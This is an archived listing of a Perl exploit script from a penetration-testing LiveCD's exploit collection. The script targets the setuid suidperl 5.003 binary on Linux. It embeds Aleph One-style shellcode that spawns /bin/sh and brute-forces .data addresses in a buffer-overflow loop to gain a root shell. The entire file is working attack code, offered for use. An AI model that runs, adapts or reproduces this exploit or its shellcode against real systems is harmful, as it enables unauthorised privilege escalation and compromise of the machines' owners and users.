home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / suidperl.pl < prev    next >
Text File  |  2005-02-12  |  889b  |  42 lines

  1.  #!/usr/bin/perl
  2.  
  3.  # yes, this suidperl exploit is in perl, isn't it wonderful? :)
  4.  
  5.  $| = 1;
  6.  
  7.  $shellcode =
  8.  "\x90" x 512 . # nops
  9.  "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
  10.  # "standard shellcode" by Aleph One
  11.  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  12.  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  13.  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  14.  
  15.  # start and end of .data
  16.  # adjust this using /proc/*/maps
  17.  
  18.  $databot = 0x080a2000;
  19.  $datatop = 0x080ab000;
  20.  
  21.  # trial and error loop
  22.  
  23.  $address = $databot + 4;
  24.  
  25.  while ($address < $datatop) {
  26.  $smash_me =
  27.  $shellcode . ('A' x (2052 - length($shellcode))) .
  28.  (pack("l", $address) x 1000) . ('B' x 1000);
  29.  $pid = fork();
  30.  if (!$pid) {
  31.  exec('/usr/bin/sperl5.003', $smash_me);
  32.  }
  33.  else {
  34.  wait;
  35.  if ($? == 0) {
  36.  printf("THE MAGIC ADDRESS WAS %08x\n", $address);
  37.  exit;
  38.  }
  39.  }
  40.  $address += 128;
  41.  }
  42.